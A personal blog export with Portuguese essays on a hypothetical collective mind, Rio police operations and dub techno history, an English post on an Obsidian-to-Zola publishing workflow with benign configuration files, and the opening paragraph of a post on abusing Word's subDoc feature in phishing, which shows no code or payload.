biscoito – posts

mente coletiva

2026-03-12T00:00:00+00:00

outro dia tava eu pensando em fazer um caldo de galinha. osso de pescoço, dorso. e enquanto ficava ali eu comecei a pensar numa coisa meio maluca: e se a humanidade inteira fosse conectada numa mente só?

todo mundo sentindo o que todo mundo sente. todo mundo sabendo o que todo mundo sabe. parece bonito né. ninguém mais sozinho, ninguém mais incompreendido. o matadouro fecha porque agora você sente a dor do animal. a fome acaba porque a logística se resolve sozinha quando oito bilhões de cérebros trabalham juntos. parece o upgrade definitivo da espécie.

mas aí eu fui puxando mais o fio.

pensa no seu relacionamento, o que faz ele significar alguma coisa eh justamente o esforço. eh seu parceiro às duas da manhã tentando achar a palavra certa e errando. é aquele momento de vulnerabilidade quando alguem fala "não sei se você vai entender mas..." e aí a pessoa entende e aquilo eh mágico. na mente coletiva isso n existe. seu parceiro não escolhe te entender. ele simplesmente entende. automaticamente. e quando você tira a escolha você tira o significado inteiro. é tipo a diferença entre alguém te escrever uma carta à mão toda torta e um algoritmo gerar a resposta perfeita. a carta imperfeita é o amor. o algoritmo é só eficiência.

e eficiência é inimiga do significado.

vai mais fundo, pensa na política. democracia inteira é construída em cima de pessoas com conhecimento incompleto e experiências diferentes se juntando, discutindo, brigando, cedendo e chegando em algo imperfeito mas que todo mundo ajudou a construir. na mente coletiva pra que representante? pra que debate? a resposta ótima simplesmente aparece. e talvez seja até uma resposta melhor objetivamente. mas ninguém lutou por ela. ninguém sacrificou nada. ninguém cedeu. entao ninguém valoriza.

eh como a diferença entre construir sua casa com as próprias mãos e ganhar uma de presente. vc cuida da que vc construiu.

e o conhecimento? hoje em dia a luta de aprender algo te transforma. um estudante de medicina não só memoriza coisa por oito anos. ele vira outra pessoa no processo. o esforço é o ponto. se você pode só acessar o conhecimento de qualquer pessoa instantaneamente você pega a informação mas perde o crescimento. vira uma biblioteca ambulante em vez de uma pessoa.

o mais bizarro é que isso não vai acontecer de propósito. ninguém vai sentar e planejar uma mente coletiva. vai acontecer do mesmo jeito que aconteceu com o celular. ngm te obrigou a ter um. mas tenta viver sem. tenta arrumar emprego, se localizar numa cidade, manter contato com as pessoas. a "escolha" tecnicamente existe mas na prática não.

com interface cerebral vai ser igual. começa com medicina. um cara trancado no próprio corpo finalmente consegue se comunicar através de um implante. isso é lindo, ninguém discorda. depois vem conveniência. pra que fazer se a inteligência artificial faz pra você? pra que digitar se vc pode pensar? pra que falar se vc pode transmitir exatamente o que sente? cada passo faz sentido sozinho. cada passo é voluntário. e cada passo te puxa mais pra dentro.

uma decisão razoável por vez. cada geração achando os limites da anterior antiquados. ate que sair fora pareça sair fora de ser humano.

e é aí que tá a ironia mais cruel. porque a coisa que realmente nos faz humanos é o atrito. é não saber. é a discussão no jantar antes de alguém poder pesquisar no google. é tentar explicar o que você sente e não conseguir e tentar de novo. é o espaço entre uma pessoa e outra.

a gente sempre achou que esse espaço era o problema. que se fechasse todas as lacunas, respondesse todas as perguntas, sentisse tudo antes de precisar ser dito, aí sim estaria completo.

mas o espaço era onde a gente guardava tudo que importava.

a tentativa de alcançar o outro, essa coisa teimosa, linda e completamente desnecessária, talvez seja a única coisa realmente sagrada que a gente tem.

e a gente tá abrindo mão dela aos poucos sem nem perceber.

feito em parceria com quem não sente nada disso.

gostou? assista: https://www.imdb.com/title/tt22202452/

Sobre a última operação no Rio de Janeiro

2025-10-29T00:00:00+00:00

https://youtu.be/nWchoLS-hpw

Vamos analisar essa operação de forma fria, olhando apenas para os resultados, sem ideologia.

Há 40 anos, a estratégia eh a mesma: confronto, ocupação temporária e um saldo de mortos. A pergunta objetiva é: funcionou?

O Rio de Janeiro tá mais seguro hoje do que há 20 anos? O poder das facções diminuiu?

A resposta clara é não. Na verdade, elas estão mais ricas, mais bem armadas e controlam mais territórios do que nunca.

Isso não é uma opinião, é um fato. Então, se a estratégia falha repetidamente, por que insistimos nela?

O ponto central é que essa tática de "guerra" atinge apenas a base da pirâmide: o jovem varejista, que é facilmente substituível.

É como podar os galhos de uma erva daninha esperando que ela morra. Enquanto isso, a raiz do problema — o fluxo de dinheiro, a lavagem de capital e a entrada de armas pesadas — continua intocada e mais forte.

Isso não é sobre defender bandido.

É sobre ser mais inteligente e eficaz que ele. O verdadeiro golpe no crime não é com fuzil na favela, é com inteligência na conta bancária e nas fronteiras. É asfixiar a organização financeiramente.

E aqui chegamos à causa principal que alimenta tudo isso, a Guerra contra às Drogas.

É a proibição que torna a droga um produto de altíssimo lucro, financiando a compra de fuzis e a corrupção de agentes.

A "Guerra contra às Drogas" é o modelo de negócio do tráfico. Acabar com ela não significa "liberar geral", mas sim tirar o poder e o monopólio das mãos do criminoso e trazer para o controle do Estado.

É tratar o vício como saúde pública (o que é mais barato e eficaz) e cortar o oxigênio financeiro que sustenta essa guerra.

Continuar com a mesma estratégia de confronto é, na prática, escolher continuar perdendo e garantir que o tráfico permaneça poderoso e lucrativo.

A questão não é ser "de direita" ou "de esquerda", é ser a favor de uma estratégia que funcione ou de uma que comprovadamente falhou, e continua falhando.

My Obsidian -> Zola Blog workflow

2025-09-11T00:00:00+00:00

Abstract

It's been quite a long time since I wanted to have such a straightforward and easy-to-use way of writing blog posts and synchronizing them directly into my website in a way that favors flexibility and convenience.

Just recently I decided to finally get this to work and I will show how everything works alongside with everything that's needed to make it work (it's all open-source anyway).

To be more specific and technical, I can basically have Obsidian (synced across all my devices with Obsidian Sync), to sync with my website GitHub repository through a simple commit and push, and to have my website automatically updated with a GitHub workflow that triggers on push, a simple building process for Zola and rsyncing with my VPS running a simple Caddy web-server with docker-compose.

Why Zola Over the Competition

Let's start with the first decision: why did I choose Zola over Hugo, Jekyll, or even 11ty?

Zola is a simple static site generator that leverages Rust's powerful ecosystem and performance. The main difference between Zola and other static site generators is that Zola uses a custom and powerful templating engine called Tera, which gives you even more extensibility while keeping things simple.

Here's what makes Zola actually compelling:

Performance and Reliability: Zola's built on Rust, which means blazing-fast build times and memory safety. When you're dealing with hundreds of blog posts, this stuff actually matters.

Single Binary: Unlike Jekyll with all its Ruby gem dependencies or Hugo's occasional quirks, Zola ships as a single binary. No missing dependencies, no version conflicts, just works.

Built-in Features: Syntax highlighting, Sass compilation, image processing, and multilingual support all come out of the box. You don't need to hunt for plugins or worry about compatibility.

Content Organization: Zola's approach to content structure just makes sense—sections, pages, and taxonomies work exactly as you'd expect them to.

I also consider myself a proud Rust enjoyer, working with the language basically every day. Supporting well-structured Rust projects with extensive documentation aligns with what I like, so that's a bonus.

The Philosophy of Automation and LLMs

I've been experimenting extensively with Large Language Models, and I tend to ask them about basically everything that I find can be automated or rapidly implemented rather than "wasting my time" on repetitive research tasks.

But let me be clear about this "wasting time" concept. There's this weird false choice people make between "doing it yourself" and "being lazy." LLMs are basically extremely knowledgeable research assistants who never sleep and have read practically everything on the internet.

When I say "wasting time," I'm not saying deep learning is useless. I'm just making a conscious choice about where to spend my brain power. Spending hours manually researching "best static site generator 2024" across dozens of blog posts is like manually copying data when you could write a script to do it in seconds.

The shift here is pretty significant: we're moving from information gathering being the bottleneck to information synthesis and decision-making being the valuable skills. LLMs are great at the former but still need human judgment for the latter.

This does come with some "data uncertainty"—the knowledge that AI-gathered information might have inaccuracies or biases. But honestly, this uncertainty exists in all research methods. At least with LLMs, I can iterate quickly through multiple research angles.

The Research Process and Tool Selection

For this project, I used Google Gemini 2.5 Pro with the "Deep Research" feature, which crawls through web results, analyzes them, and generates comprehensive reports on the gathered data. This drastically improves research speed at the cost of possible "data uncertainty."

Gemini recommended Zola, Caddy, and GitHub workflows for my Finland-based Hetzner VPS setup, which worked perfectly for what I needed: simplicity, performance, and easy maintenance.

The Complete Technical Setup

My workflow creates a pretty seamless pipeline from thought to published post. Here's how each piece fits together:

1. Content Creation with Obsidian

Obsidian serves as my writing environment with two key plugins:

Templater Plugin: Creates new blog posts from a template that asks for all the metadata I need:

<%*
// Get the post title and use it to rename the file
const title = await tp.system.prompt("Post title");
// Clean the title to make it filename-safe
const cleanTitle = title.replace(/[<>:"/\\|?*]/g, '').replace(/\s+/g, '-');
await tp.file.rename(cleanTitle);
-%>
---
title: "<% title %>"
description: "<% tp.system.prompt("Post description") %>"
date: <% tp.date.now("YYYY-MM-DD") %>
updated: <% tp.date.now("YYYY-MM-DD") %>
draft: true
categories:
  - "<% tp.system.prompt("Primary category") %>"
tags:
<%* 
const tags = await tp.system.prompt("Tags (comma separated)");
const tagArray = tags.split(',').map(tag => tag.trim());
for (let tag of tagArray) { -%>
  - "<% tag %>"
<%* } -%>
lang: "en"
toc: true
copy: true
featured: true
comment: false
reaction: false
math: false
mermaid: false
outdate_alert: false
outdate_alert_days: 120
---

Shell Commands Plugin: Executes the synchronization script directly from Obsidian, so I can publish posts without leaving my writing environment.

2. Synchronization Script

The Python synchronization script (available at my GitHub repository) handles the conversion from Obsidian's YAML frontmatter to Zola's TOML format. It only updates files that have actually changed and can automatically commit and push changes to the GitHub repository.

Key features:

YAML to TOML frontmatter conversion
Change detection to avoid unnecessary updates
Automatic file cleanup for deleted posts
Git integration for seamless version control

3. Automated Deployment with GitHub Actions

The GitHub workflow triggers on every push to the main branch:

name: Build and Deploy Zola Site

on:
  push:
    branches:
      - main

jobs:
  build-and-deploy:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout
        uses: actions/checkout@v4
        with:
          submodules: recursive

      - name: Install Zola
        uses: taiki-e/install-action@zola

      - name: Build Site
        run: zola build

      - name: Deploy to Server
        uses: easingthemes/ssh-deploy@main
        with:
          SSH_PRIVATE_KEY: ${{ secrets.VPS_SSH_PRIVATE_KEY }}
          REMOTE_HOST: ${{ secrets.VPS_HOST }}
          REMOTE_USER: ${{ secrets.VPS_USER }}
          REMOTE_PORT: ${{ secrets.VPS_PORT }}
          TARGET: ${{ secrets.VPS_TARGET_DIR }}/public
          SOURCE: "public/"
          EXCLUDE: "/.git/, /.github/, /.obsidian/"
          ARGS: "-rltgoDzvO --delete"

4. Production Environment

The VPS runs Caddy in a Docker container with good security and performance:

Docker Compose Configuration:

services:
  caddy:
    image: caddy:latest
    container_name: caddy
    restart: unless-stopped
    ports:
      - "80:80"
      - "443:443"
      - "443:443/udp"
    volumes:
      - ./Caddyfile:/etc/caddy/Caddyfile:ro
      - /var/www/biscoito.eu:/usr/share/caddy:ro
      - caddy_data:/data
      - caddy_config:/config

volumes:
  caddy_data:
  caddy_config:

Caddyfile with Security Headers: The Caddyfile includes comprehensive security headers for an A+ rating on security scanners, with Content Security Policy, HSTS, and other modern web security standards.

The Workflow in Action

The complete publishing process looks like this:

Write: Create a new post in Obsidian using the Templater plugin
Sync: Execute the shell command to run the synchronization script
Deploy: GitHub Actions automatically builds and deploys the site
Serve: Caddy serves the static files with optimal performance and security

This creates a writing experience that feels like using a modern note-taking app but publishes to a professional, high-performance website.

Conclusion

This workflow is more than just a technical solution—it's basically about leveraging automation to focus on what actually matters: creating content. By removing friction from the publishing process, I can concentrate on writing rather than wrestling with deployment stuff.

The combination of Obsidian's excellent writing experience, Zola's performance, and modern CI/CD practices creates a publishing system that works great for personal blogs while maintaining simplicity and reliability.

The time I spent building this automation pays off with every post I publish, turning what used to be a multi-step, error-prone process into a single command execution.

Fun fact: This blog post was written exactly with that same workflow I just showed you. ;)

Underground Frequencies – A Revolução Cultural do Techno

2025-09-10T00:00:00+00:00

Como alguém que passou incontáveis madrugadas perdido entre as batidas hipnóticas de clubs de Techno underground, e até em casa, posso dizer que o que começou nos porões de Berlim se transformou em algo muito maior do que música. O Deep/Hypnotic e Dub Techno que emergiram dos escombros da reunificação alemã criaram um fenômeno cultural global de US$ 12,9 bilhões que funciona tanto como movimento de resistência quanto como força de construção de comunidade em seis continentes.

Esses não são apenas "subgêneros" do techno – são ecossistemas culturais completos que reformularam o desenvolvimento urbano, a expressão política e a formação da identidade social ao redor do mundo. E tudo começou em 1993, quando dois caras em Berlim gravaram uma faixa ao vivo num galpão abandonado em Potsdam. Hoje, essa cultura é reconhecida pela UNESCO como patrimônio cultural imaterial.

A revolução do Dub Techno berlinense

Vamos voltar para 1993 em Berlim. A cidade ainda estava se reorganizando depois da queda do Muro, haviam prédios abandonados por todo lado, e foi nesse cenário que Moritz von Oswald e Mark Ernestus formaram o Basic Channel. Eles pegaram a produção carregada do eco do Dub jamaicano e misturaram com as estruturas minimalistas do techno de Detroit. O resultado? Um gênero completamente novo que mudaria tudo.

A coisa toda começou na Hard Wax, aquela loja de discos lendária onde Ernestus tinha um conhecimento absurdo de música eletrônica e von Oswald trazia sua experiência como percussionista. Como o escritor Josh Baines colocou, eles criaram "um techno business fundamental que definiu o padrão de um gênero inteiro por três décadas".

O approach tecnológico deles era revolucionário: chains de hardware analógico com efeitos extensivos de delay e reverb, sampling lo-fi em bitrates reduzidos para criar textura de "ruído", e múltiplos passthroughs através de chains de reverb–delay usando o Roland Space Echo e outros sintetizadores analógicos. Entre 1993-1994, eles lançaram nove discos de 12", incluindo o lendário "Phylyps Trak" e "Quadrant Dub", que estabeleceram o padrão atmosférico que influenciaria milhares de artistas globalmente.

Quando expandiram para o Chain Reaction label em 1995, trouxeram artistas como Monolake, Porter Ricks e Vladislav Delay para o que virou conhecido como a rede "amigos e família estendida". Isso criou o primeiro padrão importante para formação da comunidade de música eletrônica – um coletivo solto de produtores com valores estéticos compartilhados, mas mantendo autonomia artística individual.

É engraçado que o termo "Dub Techno" só se solidificou em 2001, quando a revista The Wire usou pela primeira vez em print, revisando o "Loop Jazz Finding Records" do Jan Jelinek. Essa demora entre a prática e o nome mostra como a cena se desenvolveu organicamente, sem pressão comercial – os artistas estavam criando a música anos antes dos marketeiros precisarem categorizá-la. Ainda bem.

Como contextos locais moldaram sons globais

A expansão global do Deep/Hypnotic e Dub Techno revela como contextos pós-autoritários fornecem terreno particularmente fértil para o desenvolvimento cultural da música eletrônica. A pesquisa acadêmica de Tobias Rapp mostra como a cena techno de Berlim emergiu como resposta à reorganização social pós-reunificação, criando respostas culturais "desterritorializadas" à globalização enquanto mantinha especificidade local.

Cada cena regional desenvolveu características distintivas baseadas em intersecções culturais específicas. A abordagem de Detroit através de artistas como Rod Modell (DeepChord) e Echospace enfatizava conexão com a herança industrial da cidade, usando "nada além de equipamento analógico vintage" para criar música que parecia "transmitida do fundo do mar". A colaboração entre Modell de Detroit e Stephen Hitchell de Chicago produziu o aclamado "The Coldest Season" de 2007 no selo Modern Love de Manchester, demonstrando as redes transnacionais que definem a cultura contemporânea da música eletrônica.

As cenas pós-comunistas do Leste Europeu desenvolveram estéticas particularmente cruas refletindo ética DIY e resistência política. O festival CzechTek da República Tcheca, brutalmente suprimido em 2005, criou dimensões políticas que conectaram música eletrônica a movimentos anti-autoritários mais amplos. A análise acadêmica revela que essas cenas funcionam como "laboratórios para relações econômicas e sociais alternativas", operando através do que o etnógrafo Verbuc chama de "sistemas econômicos alternativos de reciprocidade".

A fragmentação regional da Itália criou cenas distintas baseadas em cidades: Nápoles desenvolveu "techno napolitano" com tempos mais rápidos e grooves através de artistas como Marco Carola, enquanto a estética de Roma enfatizava texturas escuras e industriais refletindo o contraste antigo/moderno da cidade. Enquanto isso, a cena de Tel Aviv misturou música eletrônica com elementos musicais do Oriente Médio, criando o som "orgânico-analógico" popular no Burning Man e refletindo a geografia cultural complexa da cidade.

O modelo holandês demonstra integração comercial bem-sucedida sem perder credibilidade underground, com o Amsterdam Dance Event se tornando a maior conferência de música eletrônica do mundo enquanto mantém conexão com a cultura grassroots. Essa abordagem influenciou desenvolvimentos similares em Melbourne, onde o isolamento geográfico forçou inovação, levando à distintiva cultura de dança "Melbourne Shuffle" e fusão criativa de influências internacionais adaptadas a contextos locais.

Venues como instituições culturais

Os venues/clubs que moldaram essas cenas funcionam muito mais que espaços de entretenimento – eles operam como incubadoras culturais, espaços políticos e centros comunitários que resistem ativamente à comodificação mainstream. O Berghain, que evoluiu do sexualmente liberado Ostgut (1998-2003), representa essa evolução mais claramente. Em 2016, um tribunal alemão o designou oficialmente como instituição cultural, reconhecendo seu papel no que a UNESCO agora reconhece como patrimônio cultural imaterial.

A significância cultural do Berghain vai além de suas maratonas de sexta a segunda e dos residentes lendários Ben Klock e Marcel Dettmann. Como o dono Norbert Thormann nota, "as melhores ideias nascem depois das 3:30 da manhã" - reconhecendo como experiências temporais estendidas criam condições para inovação cultural impossível em venues de entretenimento convencionais. A política da porta do club, que rejeita escolhas direcionadas pela moda em favor do engajamento autêntico com a música, incorpora o que a pesquisa acadêmica identifica como "resistência espacial" através da ocupação de espaços urbanos marginais.

A importância histórica do Tresor em conectar Berlim e Detroit demonstra como venues funcionam como pontes culturais. O fundador Dimitri Hegemann estabeleceu o eixo crucial Berlim-Detroit trazendo Underground Resistance e outros artistas de Detroit para tocar no vault de uma antiga loja de departamentos da Alemanha Oriental. Isso criou o que Hegemann descreveu como o espaço onde "duas culturas colidiram e se entenderam imediatamente através do techno".

A influência global desses venues aparece em desenvolvimentos contemporâneos como o DC10 Ibiza, que mantém seu motto "No Soul for Sale" enquanto hospeda festas Circoloco que criaram "um movimento global" influenciando moda (coleção 2018 do Virgil Abloh) e cultura de club internacionalmente. Localizado no final de uma pista de aeroporto onde "jatos rugem sobre a cabeça enquanto a festa bomba embaixo", o DC10 incorpora o compromisso da cena com experiência bruta sobre polimento comercial.

Teoria encontra pista de dança

A pesquisa acadêmica revela comunidades de música eletrônica como formações culturais sofisticadas exemplificando o que o sociólogo Michel Maffesoli chama de organização "neo-tribal". O estudo seminal de Cannon e Greasley na Sage Open demonstra como eventos de música eletrônica dançante funcionam como "re-atualizações de noções históricas de comunidade", criando espaços para "práticas compartilhadas e vínculos comuns, provocando um senso de solidariedade e pertencimento".

Mark Fisher e Simon Reynolds desenvolveram frameworks teóricos cruciais conectando música eletrônica à teoria cultural mais ampla. O conceito de "hauntology" de Fisher fornece ferramentas analíticas para entender a relação da música eletrônica com "futuros perdidos" e memória cultural, enquanto Reynolds identifica música eletrônica hauntológica como endereçando "impasse cultural: o fracasso do futuro".

A recepção acadêmica do groundbreaking "Lost and Sound" de Tobias Rapp demonstra crescente reconhecimento acadêmico. O review de Sean Nye na Dancecult identifica o trabalho de Rapp como crucial para entender "os mecanismos de comercialização e deslocamento" e como a cultura techno de Berlim resistiu a padrões típicos de comodificação cultural. Essa pesquisa estabelece comunidades de música eletrônica como sites importantes para entender formas contemporâneas de formação de comunidade e sistemas econômicos alternativos.

Estudos etnográficos publicados no Journal of Popular Music Studies e Dancecult revelam como essas comunidades se desenvolvem através do que pesquisadores chamam de "socialidade empática" – experiências coletivas ritualizadas, valores estéticos compartilhados rejeitando produtos culturais mainstream, letramento tecnológico como marcadores de membership comunitário, e conexões global-locais através de música e intercâmbio cultural.

Significância contemporânea e impacto econômico

O cenário contemporâneo (2020-2025) demonstra resiliência e crescimento notáveis, com Deep/Hypnotic e Dub Techno contribuindo para uma indústria global de música eletrônica avaliada em US$ 12,9 bilhões em 2025. Os gêneros não apenas sobreviveram à pandemia de COVID-19, mas emergiram mais fortes, com receitas do setor ao vivo agora dobrando os níveis pré-pandemia e plataformas de streaming pagando US$ 10 bilhões para a indústria musical em 2024.

Os dados do Beatport revelam a vitalidade contemporânea da cena: a plataforma adiciona aproximadamente 100.000 novas faixas mensalmente, com artistas de Deep/Hypnotic techno como Klint, Chlär e Vinicius Honorio ranqueando entre os top sellers. O surgimento de selos como INDEX:Records de Berlim, Incienso de Nova York e naff recordings de Montreal demonstra inovação contínua e expansão geográfica.

A revolução do streaming beneficia particularmente gêneros de música eletrônica, com mais de 50% dos artistas gerando pelo menos US$ 1.000 em royalties de streaming ganhando a maioria de ouvintes fora de seus países de origem. Esse alcance global permite que artistas em Medellín, Tel Aviv e Melbourne se conectem diretamente com audiências internacionais enquanto mantêm conexões comunitárias locais.

O COVID-19 inicialmente devastou a cena, com ganhos de DJs despencando 61% de US$ 1,1 bilhão em 2019 para US$ 400 milhões em 2020. No entanto, o pivot digital criou novas oportunidades: clubs abraçaram eventos virtuais e live streaming, a Geração Z descobriu techno através de plataformas digitais durante lockdowns, e comunidades online se desenvolveram complementando em vez de substituir encontros físicos.

A cena atual demonstra o que teóricos culturais identificam como organização "pós-subcultural" – estruturas baseadas em rede em vez de hierárquicas, membership fluido e afiliações múltiplas, e autonomia criativa enfatizando independência artística. Isso aparece em venues como o kwia listening bar de Berlim, que fomenta "comunidades queer juvenis" ao redor de ambient e Dub Techno, representando um contra-movimento consciente à "fixação da cultura mainstream de club em beats mais duros e rápidos".

Identidade, pertencimento e transformação cultural

Essas comunidades funcionam como espaços onde a tecnologia permite tanto circulação cultural global quanto formação de comunidade local, criando o que a pesquisa acadêmica identifica como "espaços protegidos para intercâmbio e novas ideias". As estruturas hipnóticas e repetitivas dos gêneros facilitam o que pesquisadores chamam de "experiências estéticas transformativas" que endereçam desafios contemporâneos de atomização social e comodificação cultural.

Underground Resistance, fundado por "Mad" Mike Banks e Jeff Mills em 1989, demonstra isso mais claramente através de sua conexão de "estéticas do techno inicial de Detroit a circunstâncias sociais, políticas e econômicas" seguindo a recessão de inner-city da era Reagan. Seu ethos anti-corporativo, performando em ski masks para enfatizar anonimato sobre cultura "superstar DJ", estabeleceu padrões para manter integridade política enquanto alcança influência global.

A conexão entre sociedades pós-autoritárias e cultura techno aparece através de múltiplos contextos: o vácuo cultural pós-reunificação de Berlim, desenvolvimento underground pós-comunista do Leste Europeu, e transformação pós-narcoviolência de Medellín onde música eletrônica se tornou ferramenta para renovação positiva da imagem da cidade. A análise acadêmica revela como esses contextos criam condições onde comunidades de música eletrônica servem como "laboratórios para relações econômicas e sociais alternativas".

Desafios contemporâneos incluindo ameaças de gentrificação (fenômeno "Clubsterben" de Berlim), tensões de apropriação cultural, e saturação de mercado com uploads de 100.000+ faixas mensais demonstram a luta contínua entre autenticidade underground e sucesso mainstream. No entanto, a resiliência demonstrada das cenas, inovação contínua através de novos conceitos de venue e técnicas de produção, e crescente reconhecimento acadêmico sugerem perspectivas robustas para significância cultural contínua.

A pesquisa revela essas comunidades como componentes essenciais da transformação cultural contemporânea – criando espaços para formação de identidade fora de instituições mainstream, pioneirando sistemas econômicos alternativos, e mantendo conexão entre inovação tecnológica e comunidade humana. Conforme a cultura de música eletrônica se aproxima de sua quarta década, as comunidades de Deep/Hypnotic e Dub Techno se mantêm como prova de que movimentos underground podem alcançar influência global enquanto preservam seus valores fundamentais de resistência, comunidade e autenticidade criativa.

O Dub Techno como ponte entre urbano e natural

Existe algo quase mágico na forma como o Dub Techno consegue evocar paisagens naturais mesmo sendo criado inteiramente com máquinas em ambientes urbanos. Quando você fecha os olhos numa pista de dança às 4 da manhã e escuta aquelas texturas atmosféricas se desenrolando, não é difícil imaginar cavernas subaquáticas, florestas envoltas em névoa, ou o eco de gotas d'água numa caverna ancestral.

Rod Modell, do DeepChord, capturou isso perfeitamente quando descreveu sua música como "transmitida do fundo do mar". Não é apenas uma metáfora poética – existe uma qualidade orgânica e fluida nas texturas do Dub Techno que espelha processos naturais. Os delays e reverbs criam ecos que lembram formações geológicas, enquanto as camadas de ruído e filtragem emulam o movimento do vento, da água, da própria atmosfera terrestre.

A estética da escuta profunda que define o gênero estabelece um diálogo único entre tecnologia e natureza. Quando Basic Channel usava múltiplos passthroughs de delay para criar essas texturas atmosféricas, eles não estavam apenas manipulando som – estavam criando espaços acústicos que funcionam como ecossistemas sonoros. Cada elemento – o kick minimalista, os pads atmosféricos, os delays infinitos – interage como organismos em um habitat natural.

É fascinante como isso ressoa com a experiência humana de contemplação. O Dub Techno exige uma forma diferente de escuta, uma que se aproxima da meditação ou da contemplação de uma paisagem natural. Não é música para ser consumida rapidamente – é para ser habitada. Como quando você senta na beira de um lago ao amanhecer e simplesmente observa a névoa se dissipando lentamente sobre a água.

A temporalidade estendida dos sets de Dub Techno espelha ritmos naturais em vez de ritmos urbanos acelerados. Em venues como o Berghain, onde a música toca de sexta a segunda-feira sem parar, você experimenta algo próximo aos ciclos naturais – o tempo se torna fluido, linear, menos fragmentado que nossa experiência urbana cotidiana. Há algo profundamente humano nessa reconexão com temporalidades mais orgânicas.

As frequências sub-graves que caracterizam o gênero criam uma experiência física que vai além do auditivo. Esses baixos profundos ressoam no corpo de forma similar a fenômenos naturais – trovões distantes, terremotos suaves, o rumor de oceanos. É como se a música ativasse memórias corporais ancestrais, conectando-nos a algo primitivo e essencial.

Artistas contemporâneos como Andy Stott ou Echospace cultivam conscientemente essa estética "bio-techno" - usando field recordings, incorporando texturas que evocam elementos naturais, criando composições que respiram e evoluem organicamente. Não é coincidência que muito Dub Techno funcione perfeitamente como trilha sonora para contemplação de paisagens naturais, seja numa floresta ou olhando o oceano.

A experiência comunitária das pistas de dança também ecoa rituais humanos ancestrais ao redor do fogo, onde música, movimento e comunidade se fundiam numa experiência transcendente coletiva. O Dub Techno, com suas texturas envolventes e batidas hipnóticas, recria esse espaço ritual onde os participantes podem experienciar tanto solidão contemplativa quanto conexão comunitária profunda.

Talvez seja isso que torna o gênero tão resiliente e significativo: numa era de hiper-urbanização e desconexão digital, o Dub Techno oferece um retorno tecnológico ao orgânico. Ele usa as ferramentas mais avançadas da tecnologia musical para recriar sensações e espaços que nos reconectam com aspectos fundamentais da experiência humana - tempo cíclico, escuta profunda, contemplação, presença.

É uma ironia bonita (quase uma cosmic joke) que máquinas possam nos ajudar a redescobrir nossa humanidade, e que, frequências digitais possam evocar a vastidão de oceanos e o mistério de cavernas. No final, talvez o Dub Techno seja exatamente isso: uma forma de meditação tecnológica que nos lembra que, mesmo em meio ao concreto e às telas, ainda somos seres naturais buscando conexão, transcendência e beleza.

Esse texto é baseado em pesquisa extensiva, mas também na paixão de alguém que viveu essas pistas de dança e entende que por trás de cada batida há uma comunidade, uma história, e uma forma de resistência que continua ecoando pelos clubs do mundo todo.

Referências

Fontes Acadêmicas e Journals

Sage Journals

Cannon, J. W., & Greasley, A. E. (2021). Exploring Relationships Between Electronic Dance Music Event Participation and Well-being. Sage Open.

OpenEdition Journals

From Post-Punk to PC Music: Subcultural Discourses and Practices in Two Underground Scenes (1979, 2015)

Journal of Popular Music Studies (University of California Press)

Various articles on popular music studies and electronic music culture

IASPM Journal

Popular Music Studies and the Problems of Sound, Society and Method

Equinox Publishing

Ethnography in Western Popular Music Research Revisited: A Case Study and/as a Critique

Nature - Humanities and Social Sciences Communications

Cultural Divergence in popular music: the increasing diversity of music consumption on Spotify across countries

Routledge Academic

Bennett, A. & Guerra, P. "DIY Cultures and Underground Music Scenes" (1st Edition)

Indústria Musical e Dados Econômicos

Beatportal

IMS Business Report 2025: The Global Electronic Music Industry Hits a Record $12.9 Billion
Chart Toppers: Beatport's Top-Selling Tracks, Artists and Labels of 2024 (By Genre)
Techno (Raw / Deep / Hypnotic): The Top-Selling Tracks, Artists, and Labels of 2024

Spotify For the Record

Beyond Profits: How the Music Industry's Cultural and Financial Impact Define Its Success in 2025

Publicações Especializadas em Música Eletrônica

Boomkat

BASIC CHANNEL - Phylyps Trak
ANDY STOTT - Never The Right Time
ANDY STOTT - Unknown Exception

DJ Mag

11 labels blurring the boundaries of ambient, Dub Techno and the dancefloor

Mixmag

Celebrating Black History: Detroit techno icons
Reclaiming Medellín from gang rule has transformed the Colombian city's music scene

SIX AM Group

An Intro to 90s Techno: History, Artists, & Labels
Techno History Guide: A Deep Dive Into Dub

NTS Live

Rod Modell artist profile

Fontes Jornalísticas e Mídia

Medium

Welch, S. "Techno in Berlin: A Symbol of the City's Post-Wall Culture" (Berlin Beyond Borders)
Verma, A. "How the Underground Dance Music Scene Makes Me a Better User Researcher"

NPR

"The surprising history behind Berlin's techno club scene"

ABC News

"A Berlin club owner's mission to give back to Detroit, the city that gave Europe techno"

The Conversation

"Berlin Wall: how techno music united Germany on the dance floor"

The New Republic

"Techno Unified Berlin After the Fall of the Wall"

Red Bull Music Academy Daily

"Tear Down This Wall: Reunification and the Explosion of Techno in Berlin"

Fontes Especializadas e Blogs

Halcyon Days

"Top 20 Dub techno tracks"
"Chain reaction, an iconic Dub Techno label"

Black Rhino Radio

"Dub Techno: A sonic odyssey through time"

Technonostalgia

"The Italian Techno Scene of the '90s: A Hidden Gem"

Learning to DJ

"Berlin Techno: Origins After The Wall"

Hardstyle Mag

"The Impact of COVID-19 on the Electronic Music Industry"

TECHNO MUSIC

"Nightlife Resurgence: How Techno Clubs Survived and Thrived Post-Pandemic"

Soundvibe Mag

"New Documentary Explores COVID-19's Impact on Techno's Global Rise"

Fontes Institucionais e Culturais

Google Arts & Culture

"Tresor: The Iconic Berlin Techno Club of the 1990s"

UNESCO (mencionado para reconhecimento de patrimônio cultural)

Rave The Planet

"Techno Culture in Berlin - A Journey to Intangible Cultural Heritage"

Discografias e Labels

Discogs

Basic Channel – Phylyps Trak (1993)
Basic Channel – Quadrant Dub (1994)

Echospace313

Informações sobre Rod Modell/Deepchord/Echospace

Tresor Berlin

Underground Resistance artist page

Mídia Regional

Expats.cz

"Prague is the thumping new heart of Europe's techno scene"

MSU Today

"Ask the expert: How Detroit and its people are integral to the rise of techno music"

Mondo Internazionale

"Changing Cities: BERLIN - Reunification and politics through techno and club culture"

Wikipedia (Base factual)

Dub Techno
Basic Channel
Chain Reaction (record label)
Marcel Dettmann
Berghain
DC10 (nightclub)
Deepchord
Underground Resistance
Hauntology (music)
Music of the Netherlands

Abusing the Microsoft Word feature subDoc in phishing campaigns

2022-04-19T00:00:00+00:00

Microsoft Office Exploitation

The Microsoft Office suite is known to have plenty of features that can be abused by attackers, red-teamers and security researchers, these features can be abused in such a way that gives the attacker unlimited possibilities and attack vectors, attacks can go from a simple NTLMv2 hash steal to Arbitrary Code Execution.

